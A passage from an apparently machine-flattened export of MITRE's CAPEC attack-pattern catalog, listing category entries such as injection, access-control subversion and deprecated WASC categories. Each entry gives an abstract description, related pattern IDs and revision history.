Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46973 + Modification_46973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification46979 + Modification_46979 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances, References + + + + + + + + + + + + #indModificationModification46985 + Modification_46985 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46991 + Modification_46991 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-99 + DEPRECATED: XML Parser Attack + + + + + + + + + 99 + + + + + DEPRECATED: XML Parser Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47002 + Content_History_47002 + + + + + + + + + + + + + + + + #indSubmissionSubmission47003 + Submission_47003 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47008 + Modification_47008 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Name, @Status, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Skills_Required, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47014 + Previous_Entry_Name_47014 + + + + + + + + + 2019-09-30 + + + + + XML Parser Attack + + + + + + + + + + + + #Category-118 + Collect and Analyze Information + + + + + + + + + 118 + + + + + Collect and Analyze Information + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the gathering, collection, and theft of information by an adversary. The adversary may collect this information through a variety of methods including active querying as well as passive observation. By exploiting weaknesses in the design or configuration of the target and its communications, an adversary is able to get the target to reveal more information than intended. Information retrieved may aid the adversary in making inferences about potential weaknesses, vulnerabilities, or techniques that assist the adversary's objectives. This information may include details regarding the configuration or capabilities of the target, clues as to the timing or nature of activities, or otherwise sensitive information. Often this sort of attack is undertaken in preparation for some other type of attack, although the collection of information by itself may in some cases be the end goal of the adversary.</xhtml:div> + + + + + 116 + + + + + 117 + + + + + 169 + + + + + 224 + + + + + 188 + + + + + 192 + + + + + 410 + + + + + + + + + + + + #indContentHistoryContentHistory47030 + Content_History_47030 + + + + + + + + + + + + + + + + #indSubmissionSubmission47031 + Submission_47031 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47036 + Modification_47036 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47042 + Modification_47042 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47048 + Previous_Entry_Name_47048 + + + + + + + + + 2017-01-09 + + + + + Gather Information + + + + + + + + + + + + #Category-119 + DEPRECATED: Deplete Resources + + + + + + + + + 119 + + + + + DEPRECATED: Deplete Resources + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used by any of the Views.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47053 + Content_History_47053 + + + + + + + + + + + + + + + + #indSubmissionSubmission47054 + Submission_47054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47059 + Modification_47059 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47065 + Modification_47065 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47071 + Previous_Entry_Name_47071 + + + + + + + + + 2017-05-01 + + + + + Deplete Resources + + + + + + + + + + + + #Category-152 + Inject Unexpected Items + + + + + + + + + 152 + + + + + Inject Unexpected Items + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the ability to control or disrupt the behavior of a target either through crafted data submitted via an interface for data input, or the installation and execution of malicious code on the target system. The former happens when an adversary adds material to their input that is interpreted by the application causing the targeted application to perform steps unintended by the application manager or causing the application to enter an unstable state. Attacks of this type differ from Data Structure Attacks in that the latter attacks subvert the underlying structures that hold user-provided data, either pre-empting interpretation of the input (in the case of Buffer Overflows) or resulting in values that the targeted application is unable to handle correctly (in the case of Integer Overflows). In Injection attacks, the input is interpreted by the application, but the attacker has included instructions to the interpreting functions that the target application then follows.</xhtml:div> + + + + + 137 + + + + + 175 + + + + + 240 + + + + + 242 + + + + + 248 + + + + + 549 + + + + + 624 + + + + + 594 + + + + + 586 + + + + + + + + + + + + #indContentHistoryContentHistory47087 + Content_History_47087 + + + + + + + + + + + + + + + + #indSubmissionSubmission47088 + Submission_47088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47093 + Modification_47093 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47099 + Modification_47099 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification47105 + Modification_47105 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47111 + Modification_47111 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47117 + Previous_Entry_Name_47117 + + + + + + + + + 2017-01-09 + + + + + Injection + + + + + + + + + + + + #Category-156 + Engage in Deceptive Interactions + + + + + + + + + 156 + + + + + Engage in Deceptive Interactions + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on malicious interactions with a target in an attempt to deceive the target and convince the target that it is interacting with some other principal and as such take actions based on the level of trust that exists between the target and the other principal. These types of attacks assume that some piece of content or functionality is associated with an identity and that the content / functionality is trusted by the target because of this association. Often identified by the term "spoofing", these types of attacks rely on the falsification of the content and/or identity in such a way that the target will incorrectly trust the legitimacy of the content. For example, an attacker may modify a financial transaction between two parties so that the participants remain unchanged but the amount of the transaction is increased. If the recipient cannot detect the change, they may incorrectly assume the modified message originated with the original sender. Attacks of these type may involve an adversary crafting the content from scratch or capturing and modifying legitimate content.</xhtml:div> + + + + + 148 + + + + + 151 + + + + + 154 + + + + + 173 + + + + + 416 + + + + + 690 + + + + + + + + + + + + #indContentHistoryContentHistory47130 + Content_History_47130 + + + + + + + + + + + + + + + + #indSubmissionSubmission47131 + Submission_47131 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47136 + Modification_47136 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47142 + Modification_47142 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47148 + Modification_47148 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47154 + Previous_Entry_Name_47154 + + + + + + + + + 2017-01-09 + + + + + Deceptive Interactions + + + + + + + + + + + + #Category-172 + Manipulate Timing and State + + + + + + + + + 172 + + + + + Manipulate Timing and State + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits weaknesses in timing or state maintaining functions to perform actions that would otherwise be prevented by the execution flow of the target code and processes. An example of a state attack might include manipulation of an application's information to change the apparent credentials or similar information, possibly allowing the application to access material it would not normally be allowed to access. A common example of a timing attack is a test-action race condition where some state information is tested and, if it passes, an action is performed. If the attacker can change the state between the time that the application performs the test and the time the action is performed, then they might be able to manipulate the outcome of the action to malicious ends.</xhtml:div> + + + + + 25 + + + + + 26 + + + + + 74 + + + + + + + + + + + + #indContentHistoryContentHistory47164 + Content_History_47164 + + + + + + + + + + + + + + + + #indSubmissionSubmission47165 + Submission_47165 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47170 + Modification_47170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #Category-210 + Abuse Existing Functionality + + + + + + + + + 210 + + + + + Abuse Existing Functionality + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses or manipulates one or more functions of an application in order to achieve a malicious objective not originally intended by the application, or to deplete a resource to the point that the target's functionality is affected. This is a broad class of attacks wherein the adversary is able to alter the intended result or purpose of the functionality and thereby affect application behavior or information integrity. Outcomes can range from information exposure, vandalism, degrading or denial of service, as well as execution of arbitrary code on the target machine.</xhtml:div> + + + + + 113 + + + + + 125 + + + + + 130 + + + + + 131 + + + + + 212 + + + + + 216 + + + + + 227 + + + + + 272 + + + + + 554 + + + + + + + + + + + + #indTaxonomyMappingAbuseOfFunctionality + Abuse of Functionality + + + + + + + + + + + + + + 42 + + + + + Abuse of Functionality + + + + + + + + + + + + #indContentHistoryContentHistory47197 + Content_History_47197 + + + + + + + + + + + + + + + + #indSubmissionSubmission47198 + Submission_47198 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47203 + Modification_47203 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47209 + Modification_47209 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Prerequisites, Description, Relationships, Resources_Required + + + + + + + + + + + + #indModificationModification47215 + Modification_47215 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification47221 + Modification_47221 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47227 + Modification_47227 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47233 + Previous_Entry_Name_47233 + + + + + + + + + 2017-01-09 + + + + + Abuse of Functionality + + + + + + + + + + + + #Category-223 + Employ Probabilistic Techniques + + + + + + + + + 223 + + + + + Employ Probabilistic Techniques + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker utilizes probabilistic techniques to explore and overcome security properties of the target that are based on an assumption of strength due to the extremely low mathematical probability that an attacker would be able to identify and exploit the very rare specific conditions under which those security properties do not hold.</xhtml:div> + + + + + 112 + + + + + 28 + + + + + + + + + + + + #indContentHistoryContentHistory47242 + Content_History_47242 + + + + + + + + + + + + + + + + #indSubmissionSubmission47243 + Submission_47243 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47248 + Modification_47248 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47254 + Previous_Entry_Name_47254 + + + + + + + + + 2017-01-09 + + + + + Probabilistic Techniques + + + + + + + + + + + + #Category-225 + Subvert Access Control + + + + + + + + + 225 + + + + + Subvert Access Control + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker actively targets exploitation of weaknesses, limitations and assumptions in the mechanisms a target utilizes to manage identity and authentication as well as manage access to its resources or authorize functionality. Such exploitation can lead to the complete subversion of any trust the target system may have in the identity of any entity with which it interacts, or the complete subversion of any control the target has over its data or functionality. Weaknesses targeted by subversion of authorization controls are often due to three primary factors: 1) a fundamental dependence on authentication mechanisms being effective; 2) a lack of effective control over the separation of privilege between various entities; and 3) assumptions and over confidence in the strength or rigor of the implemented authorization mechanisms.</xhtml:div> + + + + + 21 + + + + + 114 + + + + + 115 + + + + + 22 + + + + + 94 + + + + + 122 + + + + + 233 + + + + + 390 + + + + + 507 + + + + + 560 + + + + + + + + + + + + #indContentHistoryContentHistory47271 + Content_History_47271 + + + + + + + + + + + + + + + + #indSubmissionSubmission47272 + Submission_47272 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47277 + Modification_47277 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47283 + Modification_47283 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification47289 + Modification_47289 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification47295 + Modification_47295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47301 + Modification_47301 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47307 + Previous_Entry_Name_47307 + + + + + + + + + 2017-01-09 + + + + + Exploitation of Authentication + + + + + + + + + + + + #Category-232 + DEPRECATED: Exploitation of Authorization + + + + + + + + + 232 + + + + + DEPRECATED: Exploitation of Authorization + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used by any of the Views.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47312 + Content_History_47312 + + + + + + + + + + + + + + + + #indSubmissionSubmission47313 + Submission_47313 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47318 + Modification_47318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Weaknesses, Relationships + + + + + + + + + + + + #indModificationModification47324 + Modification_47324 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47330 + Modification_47330 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47336 + Previous_Entry_Name_47336 + + + + + + + + + 2017-05-01 + + + + + Exploitation of Authorization + + + + + + + + + + + + #Category-255 + Manipulate Data Structures + + + + + + + + + 255 + + + + + Manipulate Data Structures + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns in this category manipulate and exploit characteristics of system data structures in order to violate the intended usage and protections of these structures. This is done in such a way that yields either improper access to the associated system data or violations of the security properties of the system itself due to vulnerabilities in how the system processes and manages the data structures. Often, vulnerabilities and therefore exploitability of these data structures exist due to ambiguity and assumption in their design and prescribed handling.</xhtml:div> + + + + + 123 + + + + + 124 + + + + + 129 + + + + + 153 + + + + + + + + + + + + #indContentHistoryContentHistory47347 + Content_History_47347 + + + + + + + + + + + + + + + + #indSubmissionSubmission47348 + Submission_47348 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47353 + Modification_47353 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #Category-262 + Manipulate System Resources + + + + + + + + + 262 + + + + + Manipulate System Resources + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the adversary's ability to manipulate one or more resources in order to achieve a desired outcome. This is a broad class of attacks wherein the attacker is able to change some aspect of a resource's state or availability and thereby affect system behavior or information integrity. Examples of resources include files, applications, libraries, infrastructure, and configuration information. Outcomes can range from vandalism and reduction in service to the execution of arbitrary code on the target machine.</xhtml:div> + + + + + 184 + + + + + 440 + + + + + 161 + + + + + 165 + + + + + 176 + + + + + 607 + + + + + 438 + + + + + 439 + + + + + 441 + + + + + 548 + + + + + + + + + + + + #indContentHistoryContentHistory47375 + Content_History_47375 + + + + + + + + + + + + + + + + #indSubmissionSubmission47376 + Submission_47376 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47381 + Modification_47381 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47387 + Modification_47387 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47393 + Previous_Entry_Name_47393 + + + + + + + + + 2017-01-09 + + + + + Manipulate Resources + + + + + + + + + + + + #Category-281 + DEPRECATED: Analyze Target + + + + + + + + + 281 + + + + + DEPRECATED: Analyze Target + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47398 + Content_History_47398 + + + + + + + + + + + + + + + + #indSubmissionSubmission47399 + Submission_47399 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47404 + Modification_47404 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47410 + Modification_47410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47416 + Modification_47416 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Other_Notes + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47422 + Previous_Entry_Name_47422 + + + + + + + + + 2017-05-01 + + + + + Analyze Target + + + + + + + + + + + + #Category-286 + DEPRECATED: Reconnaissance + + + + + + + + + 286 + + + + + DEPRECATED: Reconnaissance + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47427 + Content_History_47427 + + + + + + + + + + + + + + + + #indSubmissionSubmission47428 + Submission_47428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47433 + Modification_47433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47439 + Modification_47439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47445 + Previous_Entry_Name_47445 + + + + + + + + + 2017-05-01 + + + + + Reconnaissance + + + + + + + + + + + + #Category-334 + DEPRECATED: WASC Threat Classification 2.0 - WASC-01 - Insufficient Authentication + + + + + + + + + 334 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-01 - Insufficient Authentication + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Authentication</xhtml:div> + + + + + + + + + + + + #indReferenceReference47453 + Reference_47453 + + + + + + + + + REF-275 + + + + + WASC-01 - Insufficient Authentication + + + + + + + + + + + + #indContentHistoryContentHistory47455 + Content_History_47455 + + + + + + + + + + + + + + + + #indSubmissionSubmission47456 + Submission_47456 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-335 + DEPRECATED: WASC Threat Classification 2.0 - WASC-02 - Insufficient Authorization + + + + + + + + + 335 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-02 - Insufficient Authorization + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Authorization</xhtml:div> + + + + + + + + + + + + #indReferenceReference47468 + Reference_47468 + + + + + + + + + REF-276 + + + + + WASC-02 - Insufficient Authorization + + + + + + + + + + + + #indContentHistoryContentHistory47470 + Content_History_47470 + + + + + + + + + + + + + + + + #indSubmissionSubmission47471 + Submission_47471 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-336 + DEPRECATED: WASC-03 - Integer Overflows + + + + + + + + + 336 + + + + + DEPRECATED: WASC-03 - Integer Overflows + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Integer Overflows</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47480 + Content_History_47480 + + + + + + + + + + + + + + + + #indSubmissionSubmission47481 + Submission_47481 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47486 + Modification_47486 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47492 + Previous_Entry_Name_47492 + + + + + + + + + 2020-12-17 + + + + + WASC-03 - Integer Overflows + + + + + + + + + + + + #Category-337 + DEPRECATED: WASC Threat Classification 2.0 - WASC-04 - Insufficient Transport Layer Protection + + + + + + + + + 337 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-04 - Insufficient Transport Layer Protection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Transport Layer Protection</xhtml:div> + + + + + + + + + + + + #indReferenceReference47501 + Reference_47501 + + + + + + + + + REF-278 + + + + + WASC-04 - Insufficient Transport Layer Protection + + + + + + + + + + + + #indContentHistoryContentHistory47503 + Content_History_47503 + + + + + + + + + + + + + + + + #indSubmissionSubmission47504 + Submission_47504 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-338 + DEPRECATED: WASC-05 - Remote File Inclusion + + + + + + + + + 338 + + + + + DEPRECATED: WASC-05 - Remote File Inclusion + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Remote File Inclusion</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47513 + Content_History_47513 + + + + + + + + + + + + + + + + #indSubmissionSubmission47514 + Submission_47514 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47519 + Modification_47519 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47525 + Previous_Entry_Name_47525 + + + + + + + + + 2020-12-17 + + + + + WASC-05 - Remote File Inclusion + + + + + + + + + + + + #Category-339 + DEPRECATED: WASC-06 - Format String + + + + + + + + + 339 + + + + + DEPRECATED: WASC-06 - Format String + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Format String</xhtml:div> + + + + + 67 + + + + + + + + + + + + #indReferenceReference47534 + Reference_47534 + + + + + + + + + REF-15 + + + + + WASC-06 - Format String + + + + + + + + + + + + #indContentHistoryContentHistory47536 + Content_History_47536 + + + + + + + + + + + + + + + + #indSubmissionSubmission47537 + Submission_47537 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47542 + Modification_47542 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47548 + Modification_47548 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47554 + Modification_47554 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47560 + Previous_Entry_Name_47560 + + + + + + + + + 2020-12-17 + + + + + WASC-06 - Format String + + + + + + + + + + + + #Category-340 + DEPRECATED: WASC-07 - Buffer Overflow + + + + + + + + + 340 + + + + + DEPRECATED: WASC-07 - Buffer Overflow + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Buffer Overflow</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47565 + Content_History_47565 + + + + + + + + + + + + + + + + #indSubmissionSubmission47566 + Submission_47566 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47571 + Modification_47571 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47577 + Modification_47577 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47583 + Modification_47583 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47589 + Previous_Entry_Name_47589 + + + + + + + + + 2020-12-17 + + + + + WASC-07 - Buffer Overflow + + + + + + + + + + + + #Category-341 + DEPRECATED: WASC-08 - Cross-Site Scripting + + + + + + + + + 341 + + + + + DEPRECATED: WASC-08 - Cross-Site Scripting + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Cross-Site Scripting</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47594 + Content_History_47594 + + + + + + + + + + + + + + + + #indSubmissionSubmission47595 + Submission_47595 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47600 + Modification_47600 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47606 + Modification_47606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47612 + Previous_Entry_Name_47612 + + + + + + + + + 2020-12-17 + + + + + WASC-08 - Cross-Site Scripting + + + + + + + + + + + + #Category-342 + DEPRECATED: WASC-09 - Cross-Site Request Forgery + + + + + + + + + 342 + + + + + DEPRECATED: WASC-09 - Cross-Site Request Forgery + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Cross-Site Request Forgery</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47618 + Content_History_47618 + + + + + + + + + + + + + + + + #indSubmissionSubmission47619 + Submission_47619 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47624 + Modification_47624 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47630 + Modification_47630 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47636 + Previous_Entry_Name_47636 + + + + + + + + + 2020-12-17 + + + + + WASC-09 - Cross-Site Request Forgery + + + + + + + + + + + + #Category-343 + DEPRECATED: WASC-10 - Denial of Service + + + + + + + + + 343 + + + + + DEPRECATED: WASC-10 - Denial of Service + + + + + + + + + + <xhtml:div 